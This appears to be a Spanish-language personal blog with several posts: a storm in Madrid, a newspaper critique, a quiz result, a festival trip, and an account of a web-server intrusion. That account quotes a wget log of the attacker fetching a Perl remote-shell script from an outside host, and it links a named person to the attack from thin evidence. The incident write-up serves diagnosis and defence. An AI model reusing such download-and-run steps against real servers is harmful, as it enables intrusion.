Freedreams

Esta tarde el cielo se ha teñido de negro y el calor húmedo y bochornoso era el último coletazo de estos calurosos días que no se querían ir. Al final la tormenta ha llegado, con el olor a mojado, a tierra húmeda, pesadas gotas y fuertes rachas de viento. El cielo se ilumina ininterrumpidamente con los rayos, y los truenos ya suenan como un continuo murmullo sobre el que destaca aquí y allá alguno que cae más cerca.

Ahora el aire por fín está limpio. Al principio de la tormenta el viento era polvo puro, extraído sin esfuerzo de las múltiples obras de Madrid. La gente andaba casi ciega por la calle, tratando de proteger los ojos pero hasta la piel dolía de la fuerza de los granos de arena impulsados por el fuerte aire.

Ahora la brisa es más fresca, Madrid ya no es un horno y yo, feliz y contento, huelo, miro y escucho la lluvia desde mi ventana. Necesito más días de tormenta.

De nuevo ha pasado, han vuelto a entrar en el servidor web de la asociación, aunque esta vez los daños y problemas ocasionados han sido mínimos: El atacante no se pudo hacer root, y probablemente ni siquiera logró conectarse.

Es el problema que tiene el alojar un servidor web con tanto código de tanta gente, y tantos programas instalados. Parece que las pruebas apuntan a un blog no actualizado, aunque es difícil saberlo, ya que no han quedado logs.

Tras la llamada de Maria Luisa y Suso de esta mañana nos pusimos a investigar el asunto. El apache no respondía a peticiones y habían descubierto un proceso perl ejecutándose como usuario www-data, y conectado a un puerto raro (pero que para gran pesar del atacante, está filtrado por la escuela). El código en cuestión estaba en /tmp/coke.txt, y era un simple servidor telnet, para dar al atacante una consola remota.

En los logs de errores aparecía la siguiente salida de un wget:

--15:09:54--  http://www.vetorial.net/~matheuss/coke.txt
           => `coke.txt'
Resolving www.vetorial.net... 200.143.88.8
Connecting to www.vetorial.net|200.143.88.8|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11,046 (11K) [text/plain]

    0K ..........                                            100%   17.59 KB/s

15:09:57 (17.59 KB/s) - `coke.txt' saved [11046/11046]

En la web seguía estando disponible el script, y parecía ser del mismo atacante (lamentable error de pardillo), ya que el código incluía una password encriptada, sin indicar cuál era. No era una web de hacking ni un script de ejemplo con una password por defecto indicada en el código. Lo cual indica que el atacante tiene que saberla y la web es suya o tiene acceso a ella.

La web es de un proveedor de acceso a internet de Brasil, y el script tiene comentarios en portugués. Buscando por internet al tal Matheus se encuentra su perfil en otros sitios, relacionados con la temática de la página: Juegos RPC. Ups... tenemos su ICQ :))) Le he añadido a ver si se conecta y hablo con él. Va a ser divertido.

Lo más importante es encontrar por dónde entró para arreglar el fallo. Pero en los logs del apache no aparece la petición que baja el dichoso script y lo ejecuta. Parece como si el apache hubiera esperado a la finalización del script que ejecuta antes de loggear la petición, y como nunca acabó, se acabó tostando. Mirando las IPs que acceden algo antes sólo hay 2-3 de brasil, todas accediendo a un blog a raíz de búsquedas en Google Images, y de un proveedor de internet de Sau Paulo, lo mismo que dice el pavo en su perfil.

Seguiremos informando...

Ayer cayó en mis mano un ejemplar del cutre-periodicucho “Qué“, en su versión de Madrid.

En esa edición figuraba un artículo sobre los comedores sociales de Madrid, y titulado “Comedores sociales, de la ’sopa boba’ al cocido madrileño”.

Lo que menos me gustaba del artículo era su tonillo que apestaba a auto-complaciente, dando a entender que tienen poco menos que angulas para comer, que come todo el que quiere, y que se les dan miles de servicios, citando, por supuesto, el coste. Ohhh, que buenos somos, parece decir. Podían limitarse a dar datos objetivos, en vez de tanto comentario subjetivo: “de la ’sopa boba’ al cocido madrileño”, “Menus casi a la carta”, si alguien se queda sin comer algún día en Madrid “será por falta de información”.

Pero resulta que con los propios números que ellos dan, se reparten 3.000 comidas en Madrid, en 7 comedores. El que ellos visitaron daban unas 260 comidas, cuando la media sale 3.000/7, más de 425, lo que me hace sospechar que casualmente han ido a realizar el reportaje al mejor comedor de todos, con mejor comida, sin demasiada saturación, por que sinceramente, dudo mucho que la situación sea tal y como la pintan.

San, que trabaja en el área social cuando empezó a leer el artículo me dijo que lo guardara para más tarde, que se le iba a atragantar la comida. Como yo no dispongo de datos planteo mis dudas y que comente cada cual lo que quiera.

Lo que si que creo firmemente es que se pueden hacer artículos interesantes y a la vez informativos, objetivos y no auto-complacientes. Estos periódicos tratan meramente de entretener con bazofias y chascarrillos y de alegrar el día a la gente con lo bonito que es el mundo. Y creo que las personas pueden (deben) también conocer la realidad, ¿no?

Hice por curiosidad (y aburrimiento) el test que puso Gatafunho en su blog y en mi caso, para el que me conozca, tampoco hay sorpresas...

You scored as atheism. You are... an atheist, though you probably already knew this. Also, you probably have several people praying daily for your soul. Instead of simply being “nonreligious,” atheists strongly believe in the lack of existence of a higher being, or God. atheism 92% Paganism 67% Satanism 63% agnosticism 58% Buddhism 50% Islam 38% Judaism 29% Christianity 29% Hinduism 0%

¿Quieres probar tu también? Which religion is the right one for you?

Ya he vuelto del festival Soča Reggae Riversplash que tuvo lugar en Eslovenia, en el increíble rio Soča, de aguas frías, muy limpias, de un intenso color azul-verde aguamarina y rodeado de montañas y mucho bosque.

La verdad es que me lo he pasado genial, con mucha música, mucha fiesta (sobre todo norturna), y mucho descanso y relax el resto del día. “Rastafari number one” y “with the calm” serán las frases que queden en mi memoria para la eternidad tras este viaje.

Ahora queda volver a la rutina y al curro (al menos ya queda poco para agosto). El calor abrasador de Madrid, el asfalto, los edificios... Uno echa de menos el ambiente, los árboles, la tienda de campaña, la gente... ais... Eso sí, la verdad es que estaba ávido de información y para el viaje de vuelta compré y devoré El País con las últimas noticias del comité de investigación del 11-M. Cada vez sale mas mierda sobre el PP, cómo manipuló, y se confirma que ese partido no ha sabido enfrentarse a ninguna situación de crisis de manera organizada ni responsable en su legislatura.

Dejando la política y volviendo al viaje... Por supuesto, hay fotos... algo más de 1000. Sí, se que es poco ;), pero es que la última noche del festival se me rompió mi cámara. Arg... mi sufrida Canon 300D no acabó el viaje, despues de sobrevivir al efecto 10.000 (numera las fotos consecutivamente con 4 números, de img_0001.jpg a img_9999.jpg y en el viaje atravesó la barrera de los 10.000 disparos, y en menos de un año desde que la compré, uf). Pero sólo es el conector de las tarjetas CF, que tiene algunos pines doblados y partidos, el objetivo y demás están OK. Tendré que llevarla al servicio técnico para que cambien el conector (cruzo los dedos para que la reparación no salga muy cara).

Aunque tengo aún pendientes las fotos de la Elektrijada, espero poder tener las fotos en breve. ¡Estar al tanto!